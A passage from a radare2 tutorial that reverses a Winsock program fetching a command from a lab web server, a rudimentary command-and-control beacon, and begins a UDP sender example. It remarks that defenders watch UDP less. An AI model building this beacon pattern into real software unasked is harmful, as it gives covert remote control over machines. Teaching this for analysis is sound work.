Reverse engineering x64 binaries with Radare2 - 17 (winsock, udp C&C and file exfiltration through DNS)

Reverse engineering x64 binaries with Radare2 - 17 (winsock, udp C&C and file exfiltration through DNS)

Buckle up kids cause this post is going to be LONG.

About Winsock

In computing, the Windows Sockets API (WSA), later shortened to Winsock, is a technical specification that defines how Windows network software should access network services, especially TCP/IP. It defines a standard interface between a Windows TCP/IP client application (such as an FTP client or a web browser) and the underlying TCP/IP protocol stack. The nomenclature is based on the Berkeley sockets API model used in BSD for communications between programs.

In this post, we’ll be using radare2 and wireshark (install it by apt-get install wireshark or from its website)

Get requests with winsock

Remember about the get request we did with unix sockets, here’s the equiv. with Winsock

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>

#pragma comment(lib, "ws2_32")

#define BUFLEN 65536
#define KSIZE 300
#define BSIZE 256


void getCommand(char buf[], char command[]){
    int i = 0;
    int kg = 0;
    int ki = 0;

    while(i < BSIZE && kg == 0){
        if(buf[i]== '<' && buf[i+1] == 'm' && buf[i+2] == '>' ){

            for(int j=i+3; j < KSIZE+i+2; j++){
                command[ki] = buf[j];
                ki = ki+1;
            }
            kg = 1;
        }
        i = i+1;
    }
}

int main()
{
    char request[] = "GET /sec.txt HTTP/1.1\r\nUser-Agent: nc/0.0.1\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";
    char buff_rec[BUFLEN];
    char command[KSIZE];
    memset(&buff_rec,0,BUFLEN);
    SOCKET sock;
    WSADATA wsa;
    SOCKADDR_IN ReceiverAddr , SrcInfo;
    SOCKADDR_IN SenderAddr;
    int slen = sizeof(ReceiverAddr);
    int port = 80;
    int bytes_rec=0;
    int recv_size=0;

	WSAStartup(MAKEWORD(2,2),&wsa);
    sock = socket(AF_INET , SOCK_STREAM, IPPROTO_TCP);

    ReceiverAddr.sin_family = AF_INET;
    ReceiverAddr.sin_port = htons(port);
    ReceiverAddr.sin_addr.s_addr = inet_addr("192.168.0.50");

    if (connect(sock, (struct sockaddr *) &ReceiverAddr , sizeof(ReceiverAddr)) < 0){
		printf("error \n");
		return 1;
	}

    if( send(sock , &request , strlen(request) , 0) < 0)
	{
		printf("send error\n");
		return 1;
	}

	if((recv_size = recv(sock , buff_rec , BUFLEN , 0)) == SOCKET_ERROR)
	{
		printf("recv error\n");
	}
	else{
        printf("size: %d \n",recv_size);
        printf("response: %s \n", buff_rec);
        printf("-----------------\n");
        getCommand(buff_rec, command);
        printf("command: %s \n", command);
	}
    return 0;
}
[0x004014e0]> s sym.main
[0x0040161e]> pdf
/ (fcn) sym.main 679
|   sym.main (int arg_170h, int arg_2a0h, int arg_102a0h, int arg_102a8h, int arg_102b0h, int arg_102b8h, int arg_102c0h, int arg_102c8h, int arg_102d0h, int arg_102d8h, int arg_102e0h, int arg_102e8h, int arg_102ech, int arg_102f8h, int arg_10300h, int arg_10304h, int arg_10308h, int arg_1030ch, int arg_80h);
|           ; var int local_40h @ rbp-0x40
|           ; arg int arg_80h @ rsp+0x80
|           ; CALL XREF from 0x004013c2 (sym.__tmainCRTStartup)
|           0x0040161e      55             push rbp
|           0x0040161f      b890030100     mov eax, 0x10390
|           0x00401624      e867170000     call fcn.00402d90
|           0x00401629      4829c4         sub rsp, rax
|           0x0040162c      488dac248000.  lea rbp, [arg_80h]          ; 0x80 ; 128
|           0x00401634      e887030000     call sym.__main
|           0x00401639      48b847455420.  movabs rax, 0x6365732f20544547
|           0x00401643      488985a00201.  mov qword [arg_102a0h], rax ; [0x102a0:8]=-1
|           0x0040164a      48b82e747874.  movabs rax, 0x545448207478742e
|           0x00401654      488985a80201.  mov qword [arg_102a8h], rax ; [0x102a8:8]=-1
|           0x0040165b      48b8502f312e.  movabs rax, 0x550a0d312e312f50
|           0x00401665      488985b00201.  mov qword [arg_102b0h], rax ; [0x102b0:8]=-1
|           0x0040166c      48b87365722d.  movabs rax, 0x6e6567412d726573
|           0x00401676      488985b80201.  mov qword [arg_102b8h], rax ; [0x102b8:8]=-1
|           0x0040167d      48b8743a206e.  movabs rax, 0x2e302f636e203a74
|           0x00401687      488985c00201.  mov qword [arg_102c0h], rax ; [0x102c0:8]=-1
|           0x0040168e      48b8302e310d.  movabs rax, 0x736f480a0d312e30
|           0x00401698      488985c80201.  mov qword [arg_102c8h], rax ; [0x102c8:8]=-1
|           0x0040169f      48b8743a2031.  movabs rax, 0x302e373231203a74
|           0x004016a9      488985d00201.  mov qword [arg_102d0h], rax ; [0x102d0:8]=-1
|           0x004016b0      48b82e302e31.  movabs rax, 0x63410a0d312e302e
|           0x004016ba      488985d80201.  mov qword [arg_102d8h], rax ; [0x102d8:8]=-1
|           0x004016c1      48b863657074.  movabs rax, 0x2f2a203a74706563
|           0x004016cb      488985e00201.  mov qword [arg_102e0h], rax ; [0x102e0:8]=-1
|           0x004016d2      c785e8020100.  mov dword [arg_102e8h], 0xd0a0d2a
|           0x004016dc      66c785ec0201.  mov word [arg_102ech], 0xa  ; [0x102ec:2]=0xffff
|           0x004016e5      488d85a00200.  lea rax, [arg_2a0h]         ; 0x2a0 ; 672
|           0x004016ec      41b800000100   mov r8d, 0x10000
|           0x004016f2      ba00000000     mov edx, 0
|           0x004016f7      4889c1         mov rcx, rax
|           0x004016fa      e801170000     call sym.memset             ; void *memset(void *s, int c, size_t n)
|           0x004016ff      c7850c030100.  mov dword [arg_1030ch], 0x10 ; 16
|           0x00401709      c78508030100.  mov dword [arg_10308h], 0x50 ; 'P' ; 80
|           0x00401713      c78504030100.  mov dword [arg_10304h], 0   ; [0x10304:4]=-1
|           0x0040171d      c78500030100.  mov dword [arg_10300h], 0   ; [0x10300:4]=-1
|           0x00401727      488d45d0       lea rax, [local_30h]
|           0x0040172b      4889c2         mov rdx, rax
|           0x0040172e      b902020000     mov ecx, 0x202              ; 514
|           0x00401733      488b05a67c00.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x4093e0:8]=0x9752 reloc.WS2_32.dll_WSAStartup ; "R\x97"
|           0x0040173a      ffd0           call rax
|           0x0040173c      41b806000000   mov r8d, 6
|           0x00401742      ba01000000     mov edx, 1
|           0x00401747      b902000000     mov ecx, 2
|           0x0040174c      488b05bd7c00.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x409410:8]=0x978e reloc.WS2_32.dll_socket
|           0x00401753      ffd0           call rax
|           0x00401755      488985f80201.  mov qword [arg_102f8h], rax ; [0x102f8:8]=-1
|           0x0040175c      66c745c00200   mov word [local_40h], 2
|           0x00401762      8b8508030100   mov eax, dword [arg_10308h] ; [0x10308:4]=-1
|           0x00401768      0fb7c0         movzx eax, ax
|           0x0040176b      89c1           mov ecx, eax
|           0x0040176d      488b057c7c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x4093f0:8]=0x976a reloc.WS2_32.dll_htons ; "j\x97"
|           0x00401774      ffd0           call rax
|           0x00401776      668945c2       mov word [local_3eh], ax
|           0x0040177a      488d0d7f3800.  lea rcx, str.192.168.0.50   ; section..rdata ; 0x405000 ; "192.168.0.50"
|           0x00401781      488b05707c00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x4093f8:8]=0x9772 reloc.WS2_32.dll_inet_addr ; "r\x97"
|           0x00401788      ffd0           call rax
|           0x0040178a      8945c4         mov dword [local_3ch], eax
|           0x0040178d      488d45c0       lea rax, [local_40h]
|           0x00401791      488b8df80201.  mov rcx, qword [arg_102f8h] ; [0x102f8:8]=-1
|           0x00401798      41b810000000   mov r8d, 0x10               ; 16
|           0x0040179e      4889c2         mov rdx, rax
|           0x004017a1      488b05407c00.  mov rax, qword sym.imp.WS2_32.dll_connect ; [0x4093e8:8]=0x9760 reloc.WS2_32.dll_connect ; "`\x97"
|           0x004017a8      ffd0           call rax
|           0x004017aa      85c0           test eax, eax
|       ,=< 0x004017ac      7916           jns 0x4017c4
|       |   0x004017ae      488d0d583800.  lea rcx, str.error          ; 0x40500d ; "error "
|       |   0x004017b5      e836160000     call sym.puts               ; int puts(const char *s)
|       |   0x004017ba      b801000000     mov eax, 1
|      ,==< 0x004017bf      e9f8000000     jmp 0x4018bc
|      ||   ; CODE XREF from 0x004017ac (sym.main)
|      |`-> 0x004017c4      488d85a00201.  lea rax, [arg_102a0h]       ; 0x102a0
|      |    0x004017cb      4889c1         mov rcx, rax
|      |    0x004017ce      e80d160000     call sym.strlen             ; size_t strlen(const char *s)
|      |    0x004017d3      89c2           mov edx, eax
|      |    0x004017d5      488d85a00201.  lea rax, [arg_102a0h]       ; 0x102a0
|      |    0x004017dc      488b8df80201.  mov rcx, qword [arg_102f8h] ; [0x102f8:8]=-1
|      |    0x004017e3      41b900000000   mov r9d, 0
|      |    0x004017e9      4189d0         mov r8d, edx
|      |    0x004017ec      4889c2         mov rdx, rax
|      |    0x004017ef      488b05127c00.  mov rax, qword sym.imp.WS2_32.dll_send ; [0x409408:8]=0x9786 reloc.WS2_32.dll_send
|      |    0x004017f6      ffd0           call rax
|      |    0x004017f8      85c0           test eax, eax
|      |,=< 0x004017fa      7916           jns 0x401812
|      ||   0x004017fc      488d0d113800.  lea rcx, str.send_error     ; 0x405014 ; "send error"
|      ||   0x00401803      e8e8150000     call sym.puts               ; int puts(const char *s)
|      ||   0x00401808      b801000000     mov eax, 1
|     ,===< 0x0040180d      e9aa000000     jmp 0x4018bc
|     |||   ; CODE XREF from 0x004017fa (sym.main)
|     ||`-> 0x00401812      488d85a00200.  lea rax, [arg_2a0h]         ; 0x2a0 ; 672
|     ||    0x00401819      488b8df80201.  mov rcx, qword [arg_102f8h] ; [0x102f8:8]=-1
|     ||    0x00401820      41b900000000   mov r9d, 0
|     ||    0x00401826      41b800000100   mov r8d, 0x10000
|     ||    0x0040182c      4889c2         mov rdx, rax
|     ||    0x0040182f      488b05ca7b00.  mov rax, qword sym.imp.WS2_32.dll_recv ; [0x409400:8]=0x977e reloc.WS2_32.dll_recv ; "~\x97"
|     ||    0x00401836      ffd0           call rax
|     ||    0x00401838      898500030100   mov dword [arg_10300h], eax ; [0x10300:4]=-1
|     ||    0x0040183e      83bd00030100.  cmp dword [arg_10300h], 0xffffffffffffffff
|     ||,=< 0x00401845      750e           jne 0x401855
|     |||   0x00401847      488d0dd13700.  lea rcx, str.recv_error     ; 0x40501f ; "recv error"
|     |||   0x0040184e      e89d150000     call sym.puts               ; int puts(const char *s)
|    ,====< 0x00401853      eb62           jmp 0x4018b7
|    ||||   ; CODE XREF from 0x00401845 (sym.main)
|    |||`-> 0x00401855      8b8500030100   mov eax, dword [arg_10300h] ; [0x10300:4]=-1
|    |||    0x0040185b      89c2           mov edx, eax
|    |||    0x0040185d      488d0dc63700.  lea rcx, str.size:__d       ; 0x40502a ; "size: %d \n"
|    |||    0x00401864      e88f150000     call sym.printf             ; int printf(const char *format)
|    |||    0x00401869      488d85a00200.  lea rax, [arg_2a0h]         ; 0x2a0 ; 672
|    |||    0x00401870      4889c2         mov rdx, rax
|    |||    0x00401873      488d0dbb3700.  lea rcx, str.response:__s   ; 0x405035 ; "response: %s \n"
|    |||    0x0040187a      e879150000     call sym.printf             ; int printf(const char *format)
|    |||    0x0040187f      488d0dbe3700.  lea rcx, str.               ; 0x405044 ; "-----------------"
|    |||    0x00401886      e865150000     call sym.puts               ; int puts(const char *s)
|    |||    0x0040188b      488d95700100.  lea rdx, [arg_170h]         ; 0x170 ; 368
|    |||    0x00401892      488d85a00200.  lea rax, [arg_2a0h]         ; 0x2a0 ; 672
|    |||    0x00401899      4889c1         mov rcx, rax
|    |||    0x0040189c      e8affcffff     call sym.getCommand
|    |||    0x004018a1      488d85700100.  lea rax, [arg_170h]         ; 0x170 ; 368
|    |||    0x004018a8      4889c2         mov rdx, rax
|    |||    0x004018ab      488d0da43700.  lea rcx, str.command:__s    ; 0x405056 ; "command: %s \n"
|    |||    0x004018b2      e841150000     call sym.printf             ; int printf(const char *format)
|    |||    ; CODE XREF from 0x00401853 (sym.main)
|    `----> 0x004018b7      b800000000     mov eax, 0
|     ||    ; CODE XREF from 0x004017bf (sym.main)
|     ||    ; CODE XREF from 0x0040180d (sym.main)
|     ``--> 0x004018bc      4881c4900301.  add rsp, 0x10390
|           0x004018c3      5d             pop rbp
\           0x004018c4      c3             ret
[0x0040161e]>                                                              

So at first the program seems to be initializing some memory, like an array or something:

|           0x004016e5      488d85a00200.  lea rax, [arg_2a0h]         ; 0x2a0 ; 672
|           0x004016ec      41b800000100   mov r8d, 0x10000
            ;-- rip:
|           0x004016f2 b    ba00000000     mov edx, 0
|           0x004016f7      4889c1         mov rcx, rax

And that is what it is as we see here:

[0x004016f2]> afvd
arg arg_102a0h = 0x0061fdb0  0x6365732f20544547   GET /sec ascii
arg arg_102a8h = 0x0061fdb8  0x545448207478742e   .txt HTT ascii

[0x004016f2]> pxw @ 0x0061fdb0
0x0061fdb0  0x20544547 0x6365732f 0x7478742e 0x54544820  GET /sec.txt HTT
0x0061fdc0  0x2e312f50 0x550a0d31 0x2d726573 0x6e656741  P/1.1..User-Agen
0x0061fdd0  0x6e203a74 0x2e302f63 0x0d312e30 0x736f480a  t: nc/0.0.1..Hos
0x0061fde0  0x31203a74 0x302e3732 0x312e302e 0x63410a0d  t: 127.0.0.1..Ac
0x0061fdf0  0x74706563 0x2f2a203a 0x0d0a0d2a 0x0000000a  cept: */*.......

It basically initializes a char array containing the HTTP (GET) REQUEST to be done

This is useful, as now we basically know or at least can easily figure out what the program does. We also see /sec.txt here which is the path, so we can easily go there on the server ourselves and try to see what that file represents

Then memset and WSAStartup are called:

|           0x004016f7      4889c1         mov rcx, rax
|           0x004016fa      e801170000     call sym.memset             ; void *memset(void *s, int c, size_t n)
|           0x004016ff      c7850c030100.  mov dword [arg_1030ch], 0x10 ; r12
|           0x00401709      c78508030100.  mov dword [arg_10308h], 0x50 ; 'P' ; 80
|           0x00401713      c78504030100.  mov dword [arg_10304h], 0   ; [0x10304:4]=0
|           0x0040171d      c78500030100.  mov dword [arg_10300h], 0   ; [0x10300:4]=0
|           0x00401727      488d45d0       lea rax, [local_30h]
|           0x0040172b      4889c2         mov rdx, rax
|           0x0040172e      b902020000     mov ecx, 0x202              ; 514
|           0x00401733      488b05a67c00.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x4093e0:8]=0x7ffcc178da50 ; "P\xdax\xc1\xfc\x7f"
|           0x0040173a      ffd0           call rax

So, memset here as we see is zeroing a buffer, that will probably be used for sending/receiving stuff (the get request) to-from the server.

Then WSAStartup basically sets the environment up for WINSOCK to be used, we cannot create a Socket without previously calling WSAStartup.

Then the socket is created:

|           0x0040173c      41b806000000   mov r8d, 6
|           0x00401742      ba01000000     mov edx, 1
|           0x00401747      b902000000     mov ecx, 2
|           0x0040174c      488b05bd7c00.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x409410:8]=0x7ffcc1786230 ; "0bx\xc1\xfc\x7f"
|           0x00401753      ffd0           call rax

Params are 6,1,2 and from what we already know we should see those mean that our socket will be a tcp inet socket and thus the connection will be in “stream” mode.

Then another interesting call appears: htons

|           0x0040176b      89c1           mov ecx, eax
            ;-- rip:
|           0x0040176d b    488b057c7c00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x4093f0:8]=0x7ffcc1793aa0
|           0x00401774      ffd0           call rax

[0x0040176d]> dr ecx
0x00000050

From this one, we should be able to detect that the remote port is 80,(0x50 = 80dec), so now we know about the port and the get request, what remains is the server address

And tbh that is mega easy, cause in here we find it hardcoded:

|           0x0040177a      488d0d7f3800.  lea rcx, str.192.168.0.50   ; section..rdata ; 0x405000 ; "192.168.0.50"
|           0x00401781      488b05707c00.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x4093f8:8]=0x7ffcc1794190
|           0x00401788      ffd0           call rax

inet_addr() call gets the network byte order address from a char array. Now we know anything about the program, as we see connect is then called with those params and send as well.

|      |    0x004017d5      488d85a00201.  lea rax, [arg_102a0h]       ; 0x102a0
|      |    0x004017dc      488b8df80201.  mov rcx, qword [arg_102f8h] ; [0x102f8:8]=0x100000001
|      |    0x004017e3      41b900000000   mov r9d, 0
|      |    0x004017e9      4189d0         mov r8d, edx
|      |    0x004017ec      4889c2         mov rdx, rax
|      |    0x004017ef      488b05127c00.  mov rax, qword sym.imp.WS2_32.dll_send ; [0x409408:8]=0x7ffcc1791210
|      |    0x004017f6      ffd0           call rax

And as we see the GET request we saw is what gets sent

Next thing here is, what about the response? What do we get from the server? Let’s inspect RECV

|     ||`-> 0x00401812      488d85a00200.  lea rax, [arg_2a0h]         ; 0x2a0 ; 672
|     ||    0x00401819      488b8df80201.  mov rcx, qword [arg_102f8h] ; [0x102f8:8]=0x100000001
|     ||    0x00401820      41b900000000   mov r9d, 0
|     ||    0x00401826      41b800000100   mov r8d, 0x10000
|     ||    0x0040182c      4889c2         mov rdx, rax
|     ||    0x0040182f      488b05ca7b00.  mov rax, qword sym.imp.WS2_32.dll_recv ; [0x409400:8]=0x7ffcc17917b0
|     ||    0x00401836      ffd0           call rax

And if we debug that we’ll see it:

[0x0040182f]> pxw @ 0x0060fdb0
0x0060fdb0  0x50545448 0x312e312f 0x30303220 0x0d4b4f20  HTTP/1.1 200 OK.
0x0060fdc0  0x7461440a 0x54203a65 0x202c7568 0x4a203131  .Date: Thu, 11 J
0x0060fdd0  0x32206e75 0x20303230 0x313a3031 0x34353a30  un 2020 10:10:54
0x0060fde0  0x544d4720 0x65530a0d 0x72657672 0x7041203a   GMT..Server: Ap
0x0060fdf0  0x65686361 0x342e322f 0x2038312e 0x75625528  ache/2.4.18 (Ubu
0x0060fe00  0x2975746e 0x614c0a0d 0x4d2d7473 0x6669646f  ntu)..Last-Modif
0x0060fe10  0x3a646569 0x64655720 0x3031202c 0x6e754a20  ied: Wed, 10 Jun
0x0060fe20  0x32303220 0x31312030 0x3a36313a 0x47203232   2020 11:16:22 G
0x0060fe30  0x0a0d544d 0x67615445 0x3122203a 0x61352d62  MT..ETag: "1b-5a
0x0060fe40  0x66386237 0x65333539 0x22306134 0x63410a0d  7b8f953e4a0"..Ac
0x0060fe50  0x74706563 0x6e61522d 0x3a736567 0x74796220  cept-Ranges: byt
0x0060fe60  0x0a0d7365 0x746e6f43 0x2d746e65 0x676e654c  es..Content-Leng
0x0060fe70  0x203a6874 0x0a0d3732 0x746e6f43 0x2d746e65  th: 27..Content-
0x0060fe80  0x65707954 0x6574203a 0x702f7478 0x6e69616c  Type: text/plain
0x0060fe90  0x0a0d0a0d 0x6d3e6d3c 0x61737365 0x74206567  ....<m>message t
0x0060fea0  0x6562206f 0x6c656420 0x72657669 0x000a6465  o be delivered..

That’s it.

If we have an open wireshark session on the server box we should see something like this:

00000000  47 45 54 20 2f 73 65 63  2e 74 78 74 20 48 54 54   GET /sec .txt HTT
00000010  50 2f 31 2e 31 0d 0a 55  73 65 72 2d 41 67 65 6e   P/1.1..U ser-Agen
00000020  74 3a 20 6e 63 2f 30 2e  30 2e 31 0d 0a 48 6f 73   t: nc/0. 0.1..Hos
00000030  74 3a 20 31 32 37 2e 30  2e 30 2e 31 0d 0a 41 63   t: 127.0 .0.1..Ac
00000040  63 65 70 74 3a 20 2a 2f  2a 0d 0a 0d 0a            cept: */ *....
    00000000  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f 4b 0d   HTTP/1.1  200 OK.
    00000010  0a 44 61 74 65 3a 20 54  68 75 2c 20 31 31 20 4a   .Date: T hu, 11 J
    00000020  75 6e 20 32 30 32 30 20  31 30 3a 31 30 3a 35 34   un 2020  10:10:54
    00000030  20 47 4d 54 0d 0a 53 65  72 76 65 72 3a 20 41 70    GMT..Se rver: Ap
    00000040  61 63 68 65 2f 32 2e 34  2e 31 38 20 28 55 62 75   ache/2.4 .18 (Ubu
    00000050  6e 74 75 29 0d 0a 4c 61  73 74 2d 4d 6f 64 69 66   ntu)..La st-Modif
    00000060  69 65 64 3a 20 57 65 64  2c 20 31 30 20 4a 75 6e   ied: Wed , 10 Jun
    00000070  20 32 30 32 30 20 31 31  3a 31 36 3a 32 32 20 47    2020 11 :16:22 G
    00000080  4d 54 0d 0a 45 54 61 67  3a 20 22 31 62 2d 35 61   MT..ETag : "1b-5a
    00000090  37 62 38 66 39 35 33 65  34 61 30 22 0d 0a 41 63   7b8f953e 4a0"..Ac
    000000A0  63 65 70 74 2d 52 61 6e  67 65 73 3a 20 62 79 74   cept-Ran ges: byt
    000000B0  65 73 0d 0a 43 6f 6e 74  65 6e 74 2d 4c 65 6e 67   es..Cont ent-Leng
    000000C0  74 68 3a 20 32 37 0d 0a  43 6f 6e 74 65 6e 74 2d   th: 27.. Content-
    000000D0  54 79 70 65 3a 20 74 65  78 74 2f 70 6c 61 69 6e   Type: te xt/plain
    000000E0  0d 0a 0d 0a                                        ....
    000000E4  3c 6d 3e 6d 65 73 73 61  67 65 20 74 6f 20 62 65   <m>messa ge to be
    000000F4  20 64 65 6c 69 76 65 72  65 64 0a                   deliver ed.

Next thing to know here is if the program does something with this response, and we see the getCommand func being called:

|    |||    0x00401886      e865150000     call sym.puts               ; int puts(const char *s)
|    |||    0x0040188b      488d95700100.  lea rdx, [arg_170h]         ; 0x170 ; 368
|    |||    0x00401892      488d85a00200.  lea rax, [arg_2a0h]         ; 0x2a0 ; 672
|    |||    0x00401899      4889c1         mov rcx, rax
|    |||    0x0040189c      e8affcffff     call sym.getCommand
|       ,=< 0x00401575      e98a000000     jmp 0x401604
|       |   ; CODE XREF from 0x00401611 (sym.getCommand)
|      .--> 0x0040157a      8b45fc         mov eax, dword [local_4h]
|      :|   0x0040157d      4898           cdqe
|      :|   0x0040157f      488b5510       mov rdx, qword [arg_10h]    ; r12 ; [0x10:8]=-1
|      :|   0x00401583      4801d0         add rax, rdx                ; '('
|      :|   0x00401586      0fb600         movzx eax, byte [rax]
|      :|   0x00401589      3c3c           cmp al, 0x3c                ; '<' ; 60
|     ,===< 0x0040158b      7573           jne 0x401600
|     |:|   0x0040158d      8b45fc         mov eax, dword [local_4h]
|     |:|   0x00401590      4898           cdqe
|     |:|   0x00401592      488d5001       lea rdx, [rax + 1]          ; 1
|     |:|   0x00401596      488b4510       mov rax, qword [arg_10h]    ; r12 ; [0x10:8]=-1
|     |:|   0x0040159a      4801d0         add rax, rdx                ; '('
|     |:|   0x0040159d      0fb600         movzx eax, byte [rax]
|     |:|   0x004015a0      3c6d           cmp al, 0x6d                ; 'm' ; 109
|    ,====< 0x004015a2      755c           jne 0x401600
|    ||:|   0x004015a4      8b45fc         mov eax, dword [local_4h]
|    ||:|   0x004015a7      4898           cdqe
|    ||:|   0x004015a9      488d5002       lea rdx, [rax + 2]          ; rcx
|    ||:|   0x004015ad      488b4510       mov rax, qword [arg_10h]    ; r12 ; [0x10:8]=-1
|    ||:|   0x004015b1      4801d0         add rax, rdx                ; '('
|    ||:|   0x004015b4      0fb600         movzx eax, byte [rax]
|    ||:|   0x004015b7      3c3e           cmp al, 0x3e                ; '>' ; 62
|   ,=====< 0x004015b9      7545           jne 0x401600
|   |||:|   0x004015bb      8b45fc         mov eax, dword [local_4h]
|   |||:|   0x004015be      83c003         add eax, 3
|   |||:|   0x004015c1      8945f0         mov dword [local_10h], eax
|  ,======< 0x004015c4      eb26           jmp 0x4015ec
|  ||||:|   ; CODE XREF from 0x004015f7 (sym.getCommand)
| .-------> 0x004015c6      8b45f0         mov eax, dword [local_10h]
| :||||:|   0x004015c9      4898           cdqe
| :||||:|   0x004015cb      488b5510       mov rdx, qword [arg_10h]    ; r12 ; [0x10:8]=-1
| :||||:|   0x004015cf      4801d0         add rax, rdx                ; '('
| :||||:|   0x004015d2      8b55f4         mov edx, dword [local_ch]
| :||||:|   0x004015d5      4863d2         movsxd rdx, edx
| :||||:|   0x004015d8      488b4d18       mov rcx, qword [arg_18h]    ; [0x18:8]=-1 ; 24
| :||||:|   0x004015dc      4801ca         add rdx, rcx                ; '&'
| :||||:|   0x004015df      0fb600         movzx eax, byte [rax]
| :||||:|   0x004015e2      8802           mov byte [rdx], al
| :||||:|   0x004015e4      8345f401       add dword [local_ch], 1
| :||||:|   0x004015e8      8345f001       add dword [local_10h], 1
| :||||:|   ; CODE XREF from 0x004015c4 (sym.getCommand)
| :`------> 0x004015ec      8b45fc         mov eax, dword [local_4h]
| : |||:|   0x004015ef      052d010000     add eax, 0x12d
| : |||:|   0x004015f4      3945f0         cmp dword [local_10h], eax  ; [0x13:4]=-1 ; 19
| `=======< 0x004015f7      7ecd           jle 0x4015c6
|   |||:|   0x004015f9      c745f8010000.  mov dword [local_8h], 1
|   |||:|   ; CODE XREF from 0x0040158b (sym.getCommand)
|   |||:|   ; CODE XREF from 0x004015a2 (sym.getCommand)
|   |||:|   ; CODE XREF from 0x004015b9 (sym.getCommand)
|   ```---> 0x00401600      8345fc01       add dword [local_4h], 1
|      :|   ; CODE XREF from 0x00401575 (sym.getCommand)
|      :`-> 0x00401604      817dfcff0000.  cmp dword [local_4h], 0xff  ; rax ; [0xff:4]=-1
|      :,=< 0x0040160b      7f0a           jg 0x401617
|      :|   0x0040160d      837df800       cmp dword [local_8h], 0
|      `==< 0x00401611      0f8463ffffff   je 0x40157a
|       |   ; CODE XREF from 0x0040160b (sym.getCommand)
|       `-> 0x00401617      90             nop

And again, we are already familiar with this function, it just parses the message in a rudimentary way. As it looks liek the program is not doing anything with that we can consider that our work with this one is done.

Hello world UDP

Until now we have only seen TCP sockets being used, UDP can be used as well in both Linux using sock and here in the Windows lands using Winsock. The main difference between TCP and UDP is that UDP will just send the data out without any kind of syncronization or integrity check, so the data may arrive at dest or not, it is commonly used in video streaming but also in other cool stuff like DNS.

One interesting thing regarding UDP packets is that as far as I’ve seen they don’t call the interest of security researchers / blue teams as much as TCP and some take advantage of this, we’ll see.

So the following program is a classical example of a UDP packet being sent using Winsock. We can use netcat to receive it:

We’ll start a netcat listener expecting UDP packets at port 5353 with this:

nc -lvup 5353

Anything received there will be printed

The code for the “client” is the following:

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>

#pragma comment(lib, "ws2_32")

#define BUFLEN 65536

int main()
{
    char buffer[] = {'h','e','l','l','o'};

    SOCKET sock;
    WSADATA wsa;
    SOCKADDR_IN ReceiverAddr , SrcInfo;
    SOCKADDR_IN SenderAddr;
    int slen = sizeof(ReceiverAddr);
    int port = 5353;
    int bytes_rec=0;

	WSAStartup(MAKEWORD(2,2),&wsa);
    sock = socket(AF_INET , SOCK_DGRAM, IPPROTO_UDP);

    ReceiverAddr.sin_family = AF_INET;
    ReceiverAddr.sin_port = htons(port);
    ReceiverAddr.sin_addr.s_addr = inet_addr("192.168.0.50");

    int r =sendto(sock, &buffer , sizeof(buffer) , 0, (struct SOCKADDR *) &ReceiverAddr, slen);
    printf("bytes sent: %d \n", r);

    memset(buffer,0,5);

    bytes_rec=recvfrom(sock, &buffer, sizeof(buffer), 0,0,0);

    printf("bytes rec: %d \n", bytes_rec);
    printf("response: %s", buffer);

    return 0;
}

Just note that the buffer we are sending can be declared they (weird) way I did or we can also use char *buffer = “hello”.

Also note that in here with UDP we use dgram (datagram) and we indicate udp as the protocol and we are not doing connect() here, we are just doing sendto. You should know why, as we don’t have “sessions” in UDP, we just send the data out, expecting no confirmation.

When doing recv() we’ll expect data from the server in return that may or may not come.

Let’s look at the disasm:

[0x00401550]> pdf
/ (fcn) sym.main 415
|   sym.main (int arg_17fh, int arg_180h, int arg_181h, int arg_182h, int arg_183h, int arg_184h, int arg_188h, int arg_194h, int arg_198h, int arg_19ch);
|           ; CALL XREF from 0x004013c2 (sym.__tmainCRTStartup)
|           0x00401550      55             push rbp
|           0x00401551      4881ec200200.  sub rsp, 0x220
|           0x00401558      488dac248000.  lea rbp, [local_80h]        ; 0x80 ; 128
|           0x00401560      e86b020000     call sym.__main
|           0x00401565      c6857f010000.  mov byte [arg_17fh], 0x68   ; 'h' ; 104
|           0x0040156c      c68580010000.  mov byte [arg_180h], 0x65   ; 'e' ; 101
|           0x00401573      c68581010000.  mov byte [arg_181h], 0x6c   ; 'l' ; 108
|           0x0040157a      c68582010000.  mov byte [arg_182h], 0x6c   ; 'l' ; 108
|           0x00401581      c68583010000.  mov byte [arg_183h], 0x6f   ; 'o' ; 111
|           0x00401588      c7859c010000.  mov dword [arg_19ch], 0x10  ; 16
|           0x00401592      c78598010000.  mov dword [arg_198h], 0x14e9
|           0x0040159c      c78594010000.  mov dword [arg_194h], 0     ; [0x194:4]=-1 ; 0
|           0x004015a6      488d45e0       lea rax, [local_20h]
|           0x004015aa      4889c2         mov rdx, rax
|           0x004015ad      b902020000     mov ecx, 0x202              ; 514
|           0x004015b2      488b050f6e00.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x4083c8:8]=0x872a reloc.WS2_32.dll_WSAStartup ; "*\x87"
|           0x004015b9      ffd0           call rax
|           0x004015bb      41b811000000   mov r8d, 0x11               ; 17
|           0x004015c1      ba02000000     mov edx, 2
|           0x004015c6      b902000000     mov ecx, 2
|           0x004015cb      488b051e6e00.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x4083f0:8]=0x8762 reloc.WS2_32.dll_socket ; "b\x87"
|           0x004015d2      ffd0           call rax
|           0x004015d4      488985880100.  mov qword [arg_188h], rax   ; [0x188:8]=-1 ; 392
|           0x004015db      66c745d00200   mov word [local_30h], 2
|           0x004015e1      8b8598010000   mov eax, dword [arg_198h]   ; [0x198:4]=-1 ; 408
|           0x004015e7      0fb7c0         movzx eax, ax
|           0x004015ea      89c1           mov ecx, eax
|           0x004015ec      488b05dd6d00.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x4083d0:8]=0x8738 reloc.WS2_32.dll_htons ; "8\x87"
